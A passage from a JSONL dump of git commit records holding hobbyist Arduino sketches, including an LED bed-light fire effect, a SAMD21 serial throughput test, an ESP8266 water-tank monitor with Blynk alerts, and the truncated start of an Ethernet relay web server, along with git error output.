Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"f57cc58f3014b64239a34e2c8963c81fad14de6e","subject":"Initial version","message":"Initial version","repos":"AnsgarSchmidt\/sensomatic,AnsgarSchmidt\/sensomatic,AnsgarSchmidt\/sensomatic,AnsgarSchmidt\/sensomatic","old_file":"knot\/arduino\/bedlight.ino","new_file":"knot\/arduino\/bedlight.ino","new_contents":"#include \"FastLED.h\"\n\n#define OVERHEAD 0\n#define NUM_LEDS_OVERHEAD 20\n#define PIN_OVERHEAD 2\n\n#define SLEEP 1\n#define NUM_LEDS_SLEEP 144\n#define PIN_SLEEP 3\n\n#define BED_LEFT_CENTER 2\n#define NUM_LEDS_BED_LEFT_CENTER 32\n#define PIN_BED_LEFT_CENTER 4\n \n#define BED_RIGHT 3\n#define NUM_LEDS_BED_RIGHT 18\n#define PIN_BED_RIGHT 5\n\n#define COOLING 80\n#define SPARKING 120\n#define INTENSITYDIFF 95\n\n#define SECOND 1000\n#define MINUTE (60 * SECOND)\n#define HOUR (60 * MINUTE)\n\n#define PLANT_MEASURE_PIN A0\n#define PLANT_ENABLE_PIN 10\n#define PLANT_ENABLE_DELTA 23\n#define PLANT_UPDATE_VALUE 1000\n#define PLANT_ENABLE_COUNTER (PLANT_UPDATE_VALUE - PLANT_ENABLE_DELTA)\n\n#define COMMAND_RGB 0\n#define COMMAND_HSV 1\n#define COMMAND_FIRE 2\n\n#define DATA_SIZE (50*3)\n\nCRGB OverheadLeds [NUM_LEDS_OVERHEAD ];\nCRGB SleepLeds [NUM_LEDS_SLEEP ];\nCRGB BedLedsLeftCenter [NUM_LEDS_BED_LEFT_CENTER ];\nCRGB BedLedsRight [NUM_LEDS_BED_RIGHT ];\n\n uint16_t PlantCounter = 0;\n\nvolatile bool newCommand = false;\nvolatile uint8_t DataIndex = 0;\nvolatile uint8_t Command = 0;\nvolatile uint8_t Device = 0;\nvolatile uint8_t data[DATA_SIZE];\nvolatile uint8_t SleepFireActive = 0;\nvolatile uint8_t BedFireActive = 0;\n\nvoid setup() {\n\n Serial.begin(9600);\n\n pinMode(PLANT_ENABLE_PIN, OUTPUT); \n\n FastLED.addLeds<WS2811, PIN_OVERHEAD, RBG>(OverheadLeds, NUM_LEDS_OVERHEAD ).setCorrection( TypicalLEDStrip );\n FastLED.addLeds<WS2812B, PIN_SLEEP, GRB>(SleepLeds, NUM_LEDS_SLEEP ).setCorrection( TypicalLEDStrip );\n FastLED.addLeds<WS2811, PIN_BED_LEFT_CENTER, BRG>(BedLedsLeftCenter, NUM_LEDS_BED_LEFT_CENTER ).setCorrection( TypicalLEDStrip );\n FastLED.addLeds<WS2811, PIN_BED_RIGHT, BRG>(BedLedsRight, NUM_LEDS_BED_RIGHT ).setCorrection( TypicalLEDStrip );\n\n FastLED.clear(true);\n FastLED.show();\n\n PlantCounter = 0;\n\n}\n\nvoid serialEvent() {\n \n while (Serial.available()) {\n \n uint8_t c = (uint8_t)Serial.read();\n\n if (c == ';') {\n newCommand = true;\n DataIndex = 0;\n } else {\n switch(DataIndex){\n case 0:\n Command = c;\n break; \n case 1:\n Device = c;\n break;\n default: \n data[(DataIndex - 2)] = c;\n if(Command == COMMAND_FIRE && Device == SLEEP){\n SleepFireActive = c;\n }\n if(Command == COMMAND_FIRE && Device == BED_LEFT_CENTER){\n BedFireActive = c;\n }\n break;\n }\n DataIndex++; \n }\n }\n}\n\nvoid processCommand(){\n if(Command == COMMAND_HSV){\n if(Device == OVERHEAD){\n for(uint8_t i = 0; i < NUM_LEDS_OVERHEAD; i++){ \n OverheadLeds[i] = CHSV(data[(i*3) + 0], data[(i*3) + 1], data[(i*3) + 2]); \n }\n }\n if(Device == SLEEP){ \n for(uint8_t i = 0; i < NUM_LEDS_SLEEP; i++){ \n SleepLeds[i] = CHSV(data[0], data[1], data[2]);\n } \n }\n if(Device == BED_LEFT_CENTER){ \n for(uint8_t i = 0; i < NUM_LEDS_BED_LEFT_CENTER; i++){ \n BedLedsLeftCenter[i] = CHSV(data[(i*3) + 0], data[(i*3) + 1], data[(i*3) + 2]); \n }\n }\n if(Device == BED_RIGHT){ \n for(uint8_t i = 0; i < NUM_LEDS_BED_RIGHT; i++){ \n BedLedsRight[i] = CHSV(data[(i*3) + 0], data[(i*3) + 1], data[(i*3) + 2]); \n }\n }\n }\n if(Command == COMMAND_RGB){\n if(Device == OVERHEAD){\n for(uint8_t i = 0; i < NUM_LEDS_OVERHEAD; i++){ \n OverheadLeds[i] = CRGB(data[(i*3) + 0], data[(i*3) + 1], data[(i*3) + 2]); \n }\n }\n if(Device == SLEEP){ \n for(uint8_t i = 0; i < NUM_LEDS_SLEEP; i++){\n SleepLeds[i] = CRGB(data[0], data[1], data[2]);\n } \n }\n if(Device == BED_LEFT_CENTER){ \n for(uint8_t i = 0; i < NUM_LEDS_BED_LEFT_CENTER; i++){ \n BedLedsLeftCenter[i] = CRGB(data[(i*3) + 0], data[(i*3) + 1], data[(i*3) + 2]); \n }\n }\n if(Device == BED_RIGHT){ \n for(uint8_t i = 0; i < NUM_LEDS_BED_RIGHT; i++){ \n BedLedsRight[i] = CRGB(data[(i*3) + 0], data[(i*3) + 1], data[(i*3) + 2]); \n }\n }\n }\n for(uint8_t i = 0; i < DATA_SIZE; i++){\n data[i] = 0;\n }\n newCommand = false;\n}\n\nvoid plantCheck(){\n\n PlantCounter++;\n\n if (PlantCounter > PLANT_ENABLE_COUNTER){\n digitalWrite(PLANT_ENABLE_PIN, HIGH);\n }else{\n digitalWrite(PLANT_ENABLE_PIN, LOW);\n }\n\n if (PlantCounter > PLANT_UPDATE_VALUE){\n Serial.println(analogRead(PLANT_MEASURE_PIN));\n digitalWrite(PLANT_ENABLE_PIN, LOW);\n PlantCounter = 0;\n }\n \n}\n\nvoid loop() {\n\n plantCheck();\n\n if(SleepFireActive > 0){\n SleepFire(SleepFireActive);\n }\n\n if(BedFireActive > 0){\n BedFire(BedFireActive);\n }\n\n if(newCommand){\n processCommand();\n }\n\n FastLED.show();\n}\n\nvoid BedFire(uint8_t intensity){\n \/\/ Array of temperature readings at each simulation cell\n static uint8_t heat [25];\n uint8_t num = 25;\n uint8_t low = 0;\n uint8_t high = intensity;\n \n if (intensity < INTENSITYDIFF) {\n low = 0;\n } else {\n low = intensity - INTENSITYDIFF;\n }\n\n \/\/ Step 1. Cool down every cell a little\n for (uint8_t i = 0; i < num; i++) {\n heat[i] = qsub8( heat[i], random8(0, ((COOLING * 10) \/ num) + 2));\n }\n\n \/\/ Step 2. Heat from each cell drifts 'up' and diffuses a little\n for (uint8_t k = num - 1; k >= 2; k--) {\n heat[k] = (heat[k - 1] + heat[k - 2] + heat[k - 2] ) \/ 3;\n }\n\n \/\/ Step 3. Randomly ignite new 'sparks' of heat near the bottom\n if ( random8() < SPARKING ) {\n int y = random8(7); \/\/160 255\n heat[y] = qadd8( heat[y], random8(low, high) );\n }\n\n \/\/ Step 4. Map from heat cells to LED colors\n for ( int j = 0; j < num; j++) {\n CRGB color = HeatColor(heat[j]);\n BedLedsLeftCenter[7 + j] = color;\n if(j < 7){\n BedLedsLeftCenter[6 - j] = color; \n }else{\n BedLedsRight [j - 7] = color; \n }\n if(j < 10){\n OverheadLeds[10 - 1 - j] = color;\n OverheadLeds[10 + j] = color;\n }\n } \n}\n\nvoid SleepFire(uint8_t intensity){\n \/\/ Array of temperature readings at each simulation cell\n static uint8_t heat [NUM_LEDS_SLEEP \/ 2];\n uint8_t num = NUM_LEDS_SLEEP \/ 2;\n uint8_t low = 0;\n uint8_t high = intensity;\n \n if (intensity < INTENSITYDIFF) {\n low = 0;\n } else {\n low = intensity - INTENSITYDIFF;\n }\n\n \/\/ Step 1. Cool down every cell a little\n for (uint8_t i = 0; i < num; i++) {\n heat[i] = qsub8( heat[i], random8(0, ((COOLING * 10) \/ num) + 2));\n }\n\n \/\/ Step 2. Heat from each cell drifts 'up' and diffuses a little\n for (uint8_t k = num - 1; k >= 2; k--) {\n heat[k] = (heat[k - 1] + heat[k - 2] + heat[k - 2] ) \/ 3;\n }\n\n \/\/ Step 3. Randomly ignite new 'sparks' of heat near the bottom\n if ( random8() < SPARKING ) {\n int y = random8(7); \/\/160 255\n heat[y] = qadd8( heat[y], random8(low, high) );\n }\n\n \/\/ Step 4. Map from heat cells to LED colors\n for ( int j = 0; j < num; j++) {\n CRGB color = HeatColor(heat[j]);\n SleepLeds[num - 1 - j] = color;\n SleepLeds[num + j] = color;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'knot\/arduino\/bedlight.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e8e7b75b113caac058c68591857b7704b54d86ac","subject":"Add simple throughput measurement program","message":"Add simple throughput measurement program\n","repos":"isaias-b\/arduino-examples,isaias-b\/arduino-examples,isaias-b\/arduino-examples","old_file":"serial\/samd21-throughput\/samd21-throughput.ino","new_file":"serial\/samd21-throughput\/samd21-throughput.ino","new_contents":"#include \"wiring_private.h\"\n\n\/\/#define USE_BINARY\n\n\/\/ DIAGNOSTICS\n\/\/ no yes\n\/\/ UART bin 20000 17000\n\/\/ UART txt 4400 3000\n\nconst int sampleRate = 3000;\nconst long serialRate = 2000000;\nconst int NWORDS = 4;\nconst int WSIZE = sizeof(uint16_t);\nconst int NBYTES = NWORDS * WSIZE;\n\nbool pushData = false;\ntypedef union { uint16_t words[NWORDS]; uint8_t bytes[NBYTES]; } MODEL;\nMODEL m;\n\nTcCount16* TC = (TcCount16*) TC3;\n\n\/\/https:\/\/forum.arduino.cc\/index.php?topic=332275.15\nvoid setupTimer(int freqHz) { \n const long CPU_HZ = 48000000;\n const long PRESCALER_CTRL = TC_CTRLA_PRESCALER_DIV16;\n const long PRESCALER_VAL = 16;\n const long matchValue = CPU_HZ \/ PRESCALER_VAL \/ freqHz;\n\n REG_GCLK_CLKCTRL = (uint16_t) (\n GCLK_CLKCTRL_CLKEN \n | GCLK_CLKCTRL_GEN_GCLK0 \n | GCLK_CLKCTRL_ID (GCM_TCC2_TC3)\n );\n while (GCLK->STATUS.bit.SYNCBUSY);\n\n TC->CTRLA.bit.ENABLE = false;\n TC->CTRLA.reg |= (\n TC_CTRLA_MODE_COUNT16\n | TC_CTRLA_WAVEGEN_MFRQ \/\/ Use match mode, that resets when match hit\n | PRESCALER_CTRL\n ); \n TC->CC[0].reg = matchValue - 1; \/\/ 0 is counted as well, thus -1\n\n TC->INTENSET.reg = 0; \/\/ Disable all interrupts\n TC->INTENSET.bit.MC0 = true; \/\/ Enable the compare interrupt\n\n NVIC_EnableIRQ(TC3_IRQn);\n\n TC->CTRLA.bit.ENABLE = true;\n while (TC->STATUS.bit.SYNCBUSY);\n}\n\nvoid TC3_Handler (void) { \n if (TC->INTFLAG.bit.MC0) {\n TC->INTFLAG.bit.MC0 = true;\n pushData = true;\n } \n}\n\nvoid setup() {\n pinMode(LED_BUILTIN, OUTPUT);\n SerialUSB.begin(serialRate);\n setupTimer(sampleRate);\n for (int i = 0; i < NWORDS; i++)\n m.words[i] = i+1000;\n}\n\nvoid loop() {\n static int counter = 0;\n bool state = (counter++ >> 12) % 2;\n digitalWrite(LED_BUILTIN, state ? HIGH : LOW);\n int t = SerialUSB.availableForWrite();\n if (pushData && t > NBYTES) {\n pushData = false;\n #ifdef USE_BINARY\n SerialUSB.write(m.bytes, NBYTES);\n #else\n SerialUSB.print(t, DEC);\n for (int i = 0; i < NWORDS; i++) {\n SerialUSB.print('\\t');\n SerialUSB.print(m.words[i], DEC);\n }\n #endif\n SerialUSB.write('\\n');\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'serial\/samd21-throughput\/samd21-throughput.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"90e2544ba470ef1d2c917325c5fd26f47fa5a8d0","subject":"old AVR firmware","message":"old AVR firmware\n","repos":"nfco\/cellpilot,nf-dj\/cellpilot,nf-dj\/cellpilot,nfco\/cellpilot,nfco\/cellpilot,nf-dj\/cellpilot","old_file":"drone\/firmware_old\/sketch.ino","new_file":"drone\/firmware_old\/sketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: remote error: upload-pack: not our ref 90e2544ba470ef1d2c917325c5fd26f47fa5a8d0\nfatal: the remote end hung up unexpectedly\n","license":"mit","lang":"Arduino"} {"commit":"a56c414a76bfe688ddb93087ff97a7fb476f68cc","subject":"Create balancing_tank.ino","message":"Create balancing_tank.ino","repos":"chancsc\/SC_SmartThings,chancsc\/SC_SmartThings","old_file":"ESP8266\/Water_Level_Temp\/balancing_tank.ino","new_file":"ESP8266\/Water_Level_Temp\/balancing_tank.ino","new_contents":"\/\/Project: Monitor water level (HC-SR04P) of Balacing tank and the Temperature of Water (DS18b20) \/ Ambient (DHT22) \n\/\/ Send alert via Blynk app if water level is too high, or water temperature is higher than 28 C\n\n\/*\n\/\/https:\/\/community.blynk.cc\/t\/water-tank-level-indicator-with-low-level-warning-notifications\/26271\n\n\/\/v1.0 - Wifi Manager + Blynk\n\/\/v1.1 - added deep sleep function - https:\/\/community.blynk.cc\/t\/esp-deep-sleep\/5622\/13\n\/\/v1.2 - added run time change of deep sleep interval via UI setup\n\/\/v1.3 - \n\n\/\/**** Blynk Virtual Pin Assignments****\n\/\/ V0 - Water temperature alert\n\/\/ V1 - Tank Height (cm)\n\/\/ V2 - Sensor distance from Tank (cm)\n\/\/ V3 - Temperature\n\/\/ V4 - Battery voltage\n\/\/ V6 - Numeric Widget - Sleep interval (mins)\n\/\/ V9 - Level V widget - Water Level %\n\/\/V10 - Numeric Widget - Level exceed then will trigger Alert\n\/\/V11 - Button Widget - To enable \/ disable Alert\n\/\/V12 - Distance - height from sensor to water level\n\nHardware: \n1. Wemos D1 Pro\n2. DS18B20 Temperature Sensor\n3. Ultra Sonic Sensor\n4. 4.7k resistor - put between D4 and VCC\n\n\nUltra sonic Sensor: Vcc - D7, Gnd - Gnd, Echo - D6, Trigger - D5\nDS18820 - Vcc - D8, Gnd - Gnd, Data - D4\n\nTodo\n----\n- if sonar sensor out of range --> don't save but Alert\n- water temperature alert\n\n*\/\n\n#include <OneWire.h>\n#include <DallasTemperature.h>\n#include <ESP8266WiFi.h>\n#include <BlynkSimpleEsp8266.h>\n\nchar auth[] = \"<blynk toke>\";n\n\nchar ssid[] = \"wifi\";\nchar pass[] = \"pwd\";\n\nBlynkTimer timer;\n\n\/\/HC-SR04 ultra sonic sensor\n#define trigPin D5 \/\/ Trigger Pin\n#define echoPin D6 \/\/ Echo Pin\n#define RadarPowerPin D7 \/\/GPIO12 = D6, GPIO14 = D5, GPIO15 = D8\n\n\/\/DS18820 temperature sensor\n#define sensorPin D4\n#define TempPowerPin D8\n\n#define filterSamples 15 \/\/ filterSamples should be an odd number, no smaller than 3\n\nint alertLevelCounter = 0; \/\/Counter starts at zero\n\/\/int volume1; \/\/ for smoothing algorithum\ndouble wLevel; \/\/ for smoothing algorithum\nint levelAlert;\nint wateralert = 0;\n\/\/int sensSmoothArray1 [filterSamples]; \/\/ array for holding raw sensor values for sensor1 \nint smoothDistance; \/\/ variables for sensor1 data\n\n\/\/double alertInMin = 0.5; \/\/Alert time following alert water level being reached (0.5 = 30secs)\n\/\/const int alertDuration = 2; \/\/Alert sent every 2 minutes\n\nint checkFreq = 2; \/\/how often run the check \/ sleep for how long before wake up, in mins\nint tankHeight = 100; \/\/tank's height\nint heightFrTank = 20; \/\/sensor distance from tank\nlong duration, distance; \/\/ Duration used to calculate distance\n\n\/\/init DS11820\nOneWire oneWire(sensorPin);\nDallasTemperature DS18B20(&oneWire);\nfloat temp;\nfloat volt;\n\nBLYNK_CONNECTED() { \/\/ runs once at device startup, once connected to server.\n Blynk.syncVirtual(V1);\n Blynk.syncVirtual(V2);\n Blynk.syncVirtual(V6);\n Blynk.syncVirtual(V10);\n Blynk.syncVirtual(V11);\n}\n\nBLYNK_WRITE(V1) {\n tankHeight = param.asInt();\n Serial.print(\"\\nTank's Height: \");\n Serial.println(tankHeight);\n Serial.println();\n} \n\nBLYNK_WRITE(V2) {\n heightFrTank = param.asInt();\n Serial.print(\"Height from Tank: \");\n Serial.println(heightFrTank);\n Serial.println();\n} \n\nBLYNK_WRITE(V6) {\n checkFreq = param.asInt();\n Serial.print(\"Sleep Interval: \");\n Serial.println(checkFreq);\n Serial.println();\n} \n\nBLYNK_WRITE(V10) {\n levelAlert = param.asInt();\n Serial.print(\"Water Level Alert: \");\n Serial.println(levelAlert);\n Serial.println();\n} \n \nBLYNK_WRITE(V11) { \n\n int alertOff = param.asInt();\n\n if(alertOff == 0) {\n resetWaterLevelAlert();\n wateralert = 1;\n Serial.print(\"Level Alert is OFF.\");\n Serial.println();\n }\n else {\n resetWaterLevelAlert();\n wateralert = 0;\n Serial.print(\"Level Alert is ON.\");\n Serial.println();\n }\n\n}\n\nvoid resetWaterLevelAlert() {\n alertLevelCounter = 0;\n wateralert = 0;\n}\n\nvoid checkWaterLevel() {\n Serial.print(\"Water Level (%) = \");\n Serial.println(wLevel);\n Serial.print(\"Level Alert (%) = \");\n Serial.println(levelAlert);\n Serial.print(\"Alert (1 = off, 0 = on) = \");\n Serial.println(wateralert);\n\n if(wLevel > levelAlert && wateralert == 0){\n\/\/ alertLevelCounter += 1;\n Blynk.notify(\"Water Tank Level Alert\"); \/\/ send push notification to blynk app\n\n }\n\n\/\/ if(alertLevelCounter > alertInMin * 60 && wateralert == 0){\n\/\/ Blynk.notify(\"Water Tank Level Alert\"); \/\/ send push notification to blynk app\n\/\/ wateralert = 1;\n\/\/ resetWaterLevelAlert();\n\/\/ }\n}\n\nvoid MeasureCmForSmoothing() {\n\n \/\/take multiple reading\n\n digitalWrite(RadarPowerPin, HIGH); \/\/provide power\n delay(1000);\n \n smoothDistance = mesureDistance();\n \n digitalWrite(RadarPowerPin, LOW); \/\/turn off power\n delay(100);\n \n Serial.print(\"Smoothed Distance: \");\n Serial.println(smoothDistance);\n\n \/\/tank height 100 cm, sensor is 20 cm above the tank\n wLevel = (tankHeight + heightFrTank - smoothDistance);\n\n Serial.print(\"Water Level (cm): \");\n Serial.println(wLevel);\n\n \/\/convert to %\n wLevel = wLevel \/ tankHeight * 100;\n\n Serial.print(\"Water Level (%): \");\n Serial.println(wLevel);\n\n Blynk.virtualWrite(V12, smoothDistance); \/\/ virtual pin\n Blynk.virtualWrite(V9, wLevel); \/\/ virtual pin\n delay(1000);\n} \n\nvoid UploadMeasureCmForSmoothing() {\n\n Blynk.virtualWrite(V3, temp); \/\/ Water level %\n Blynk.virtualWrite(V4, volt); \/\/ battery \n Blynk.virtualWrite(V9, wLevel); \/\/ Water level %\n Blynk.virtualWrite(V12, smoothDistance); \/\/ virtual pin\n \n}\n\n\nvoid setup() {\n Serial.begin(115200);\n Blynk.begin(auth, ssid, pass);\n \n pinMode(trigPin, OUTPUT);\n pinMode(echoPin, INPUT);\n \/\/pin to provide power to ultra sonic sensor\n pinMode(RadarPowerPin, OUTPUT);\n\n \/\/pin to provide power to temperature sensor\n pinMode(TempPowerPin, OUTPUT);\n \n Serial.println(\"Measure Water Temperature\");\n measurementEvent();\n\n Serial.println(\"\\nMeasure Water Level\");\n MeasureCmForSmoothing();\n\n Serial.println(\"Upload Data\");\n UploadMeasureCmForSmoothing();\n\n Serial.println(\"check WaterLevel Alert\");\n checkWaterLevel();\n\n goToSleep();\n\n}\n \nvoid loop() {\n\n}\n\nint digitalSmooth(int rawIn, int *sensSmoothArray){ \/\/ \"int *sensSmoothArray\" passes an array to the function - the asterisk indicates the array name is a pointer\nint j, k, temp, top, bottom;\nlong total;\nstatic int i;\n\/\/ static int raw[filterSamples];\nstatic int sorted[filterSamples];\nboolean done;\n\ni = (i + 1) % filterSamples; \/\/ increment counter and roll over if necc. - % (modulo operator) rolls over variable\nsensSmoothArray[i] = rawIn; \/\/ input new data into the oldest slot\n\n\/\/ Serial.print(\"raw = \");\n\n for (j=0; j<filterSamples; j++){ \/\/ transfer data array into anther array for sorting and averaging\n sorted[j] = sensSmoothArray[j];\n }\n\n done = 0; \/\/ flag to know when we're done sorting \n while(done != 1){ \/\/ simple swap sort, sorts numbers from lowest to highest\n done = 1;\n for(j = 0; j < (filterSamples - 1); j++){\n if(sorted[j] > sorted[j + 1]){ \/\/ numbers are out of order - swap\n temp = sorted[j + 1];\n sorted [j+1] = sorted[j] ;\n sorted [j] = temp;\n done = 0;\n }\n }\n }\n\n \/\/ throw out top and bottom 15% of samples - limit to throw out at least one from top and bottom\n \/\/ bottom = max(((filterSamples * 15) \/ 100), 1); \n \/\/ top = min((((filterSamples * 85) \/ 100) + 1 ), (filterSamples - 1)); \/\/ the + 1 is to make up for asymmetry caused by integer rounding\n bottom = max(((filterSamples * 20) \/ 100), 1); \n top = min((((filterSamples * 80) \/ 100) + 1 ), (filterSamples - 1)); \/\/ the + 1 is to make up for asymmetry caused by integer rounding\n k = 0;\n total = 0;\n for( j = bottom; j< top; j++){\n total += sorted[j]; \/\/ total remaining indices\n k++; \n \/\/Serial.print(sorted[j]); \n \/\/Serial.print(\" \"); \n \/\/terminal.print(sorted[j]); \n \/\/terminal.println(\" \");\n \n }\n \/\/terminal.print(\"average: \");\n \/\/terminal.println(total\/k);\n \/\/terminal.flush();\n \/\/Serial.println();\n \/\/Serial.print(\"average = \");\n \/\/Serial.println(total\/k);\n return total \/ k; \/\/ divide by number of samples\n}\n\nint mesureSingleDistance() {\n long duration, distance;\n\n digitalWrite(trigPin, LOW);\n delayMicroseconds(2);\n digitalWrite(trigPin, HIGH);\n delayMicroseconds(10);\n digitalWrite(trigPin, LOW);\n duration = pulseIn(echoPin, HIGH);\n distance = (duration\/2) \/ 29.1;\n\n Serial.print(\"Distance: \");\n Serial.println(distance);\n\n return distance;\n }\n\n\/**\n * mresure distnce average delay 10ms\n *\/\nint mesureDistance() {\n const int ULTRASONIC_MIN_DISTANCE = heightFrTank; \/\/20\n const int ULTRASONIC_MAX_DISTANCE = tankHeight + heightFrTank; \/\/120\n\n int i, total_count = 0, total_distance = 0, distance, values[10], average, temp, new_count = 0;\n\n for(i=0; i<5; i++){\n distance = mesureSingleDistance();\n \/\/check if out of range\n if(distance > ULTRASONIC_MIN_DISTANCE && distance < ULTRASONIC_MAX_DISTANCE) {\n total_distance += distance;\n values[total_count++]=distance;\n Serial.printf(\"Value %d...\\n\", distance);\n }\n }\n\n Serial.print(\"total_count = \");\n Serial.println(total_count);\n if(total_count > 0) {\n\n average = total_distance \/ total_count;\n total_distance = 0;\n Serial.printf(\"Average %d...\\n\", average);\n\n for(i=0; i<total_count; i++){\n temp = (average - values[i])*100\/average;\n Serial.printf(\"Analyze %d....%d...\\n\", values[i],temp);\n if(temp < 10 && temp > -10){\n total_distance += values[i];\n new_count++;\n }\n }\n\n if(new_count > 0) {\n\/\/ Serial.print(\"total_distance = \");\n\/\/ Serial.println(total_distance);\n\/\/ Serial.print(\"new_count = \");\n\/\/ Serial.println(new_count);\n return total_distance \/ new_count;\n }\n }\n Serial.println(\"Sonar sensor out of range\");\n return 0; \/\/return 0 meaning the sensor out of range\n }\n\nvoid goToSleep() {\n \/\/ calculate required sleep time and go to sleep\n\n Serial.print(\" Going to sleep now for \");\n Serial.print(checkFreq);\n Serial.println(\" mins\");\n\n ESP.deepSleep(checkFreq * 60 * 1000000); \/\/deepSleep is microseconds 1 sec = 1000000\n delay(100);\n\n} \/\/ end of void goToSleep()\n\nvoid measurementEvent() {\n\n\n \/\/******Measure Water Temperature*********************************************\n digitalWrite(TempPowerPin, HIGH); \/\/provide power\n delay(2000);\n \n DS18B20.begin();\n DS18B20.requestTemperatures(); \n temp = DS18B20.getTempCByIndex(0); \/\/ Celcius\n Serial.print(\"Temperature (C) = \");\n Serial.println(temp);\n\n digitalWrite(TempPowerPin, LOW); \/\/turn off power\n delay(100);\n\n \/\/******Battery Voltage Monitoring*********************************************\n \/\/depend on 220k or 100k resistor used, toggle between this 2 calculation\n\n \/\/ using 220k\n \/\/ Voltage divider R1=100k, R2 = (220k + 100k) + 220k = 540k\n \/\/ Calculation to get the factor: 4.2v * 100\/540 = 0.7777, 0.7777 * y = 4.2, y = 5.4\n\/\/ float calib_factor = 5.28; \/\/ change this value to calibrate the battery voltage, 5.28 is so call calibrated\n\/\/ float calib_factor = 5.4;\n\n \/\/ using 100k\n \/\/ Voltage divider R1 = 100k, R2 = (220k + 100k) + 100k = 420k; \n \/\/ Calculation to get the factor: 4.2v * 100\/420 = 1, 1 * y = 4.2, y = 4.2\n float calib_factor = 4.2;\n \n unsigned long raw = analogRead(A0);\n\/\/ Serial.print(\"raw analog = \");\n\/\/ Serial.println(raw);\n float volt = raw * calib_factor\/1024; \n \n Serial.print( \"\\nVoltage = \");\n Serial.print(volt, 2); \/\/ print with 2 decimal places\n Serial.println (\" V\");\n \n \/\/*******************************************************************************\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP8266\/Water_Level_Temp\/balancing_tank.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"44dbc36590af9991df2c7f5c6c72d35801cc5001","subject":"serial to ethernet, web enabled relays.","message":"serial to ethernet, web enabled relays.\n","repos":"bubblestack\/hydroop","old_file":"eth2relay.ino","new_file":"eth2relay.ino","new_contents":"\/\/ARDUINO 1.0+ ONLY\n\/\/ARDUINO 1.0+ ONLY\n\n\n#include <Ethernet.h>\n#include <SPI.h>\nboolean reading = false;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/CONFIGURE\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/byte ip[] = { 192, 168, 0, 199 }; \/\/Manual setup only\n \/\/byte gateway[] = { 192, 168, 0, 1 }; \/\/Manual setup only\n \/\/byte subnet[] = { 255, 255, 255, 0 }; \/\/Manual setup only\n\n \/\/ if need to change the MAC address (Very Rare)\n byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\n\n EthernetServer server = EthernetServer(80); \/\/port 80\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n\nint SER_Pin = 6; \/\/pin 14 on the 75HC595\nint RCLK_Pin = 7; \/\/pin 12 on the 75HC595\nint SRCLK_Pin = 5; \/\/pin 11 on the 75HC595\n\n\/\/How many of the shift registers - change this\n#define number_of_74hc595s 2\n\n\/\/register pins\n#define numOfRegisterPins number_of_74hc595s * 8\n\nboolean registers[numOfRegisterPins];\n\n\nint dev1=0;\nint dev2=1;\nint dev3=2;\nint dev4=3;\nint dev5=4;\nint dev6=5;\nint dev7=6;\nint dev8=7;\nint dev9=8;\nint dev10=9;\nint dev11=10;\nint dev12=11;\nint dev13=12;\nint dev14=13;\nint dev15=14;\nint dev16=15;\nint dev17=16;\nint dev18=17;\nint dev19=18;\nint dev20=19;\nint dev21=20;\nint dev22=21;\nint dev23=22;\nint dev24=23;\nint dev25=24;\nint dev26=25;\nint dev27=26;\nint dev28=27;\nint dev29=28;\nint dev30=29;\nint dev31=30;\nint dev32=31;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n\nvoid setup(){\n Serial.begin(9600);\n\n \/\/Pins 10,11,12 & 13 are used by the ethernet shield\n pinMode(SER_Pin, OUTPUT);\n pinMode(RCLK_Pin, OUTPUT);\n pinMode(SRCLK_Pin, OUTPUT);\n\n clearRegisters();\n writeRegisters();\n \n Ethernet.begin(mac);\n \/\/Ethernet.begin(mac, ip, gateway, subnet); \/\/for manual setup\n\n server.begin();\n Serial.println(Ethernet.localIP());\n\n}\n\n\/\/set all register pins to LOW\nvoid clearRegisters(){\n for(int i = numOfRegisterPins - 1; i >= 0; i--){\n registers[i] = LOW;\n }\n writeRegisters();\n} \n\n\n\/\/Set and display registers\n\/\/Only call AFTER all values are set how you would like (slow otherwise)\nvoid writeRegisters(){\n\n digitalWrite(RCLK_Pin, LOW);\n\n for(int i = numOfRegisterPins - 1; i >= 0; i--){\n digitalWrite(SRCLK_Pin, LOW);\n\n int val = registers[i];\n\n digitalWrite(SER_Pin, val);\n digitalWrite(SRCLK_Pin, HIGH);\n\n }\n digitalWrite(RCLK_Pin, HIGH);\n\n}\n\n\/\/set an individual pin HIGH or LOW\nvoid setRegisterPin(int index, int value){\n registers[index] = value;\n}\n\n\n\n\nvoid loop(){\n\n \/\/ listen for incoming clients, and process qequest.\n checkForClient();\n\n}\n\nvoid checkForClient(){\n\n EthernetClient client = server.available();\n\n if (client) {\n\n \/\/ an http request ends with a blank line\n boolean currentLineIsBlank = true;\n boolean sentHeader = false;\n\n while (client.connected()) {\n if (client.available()) 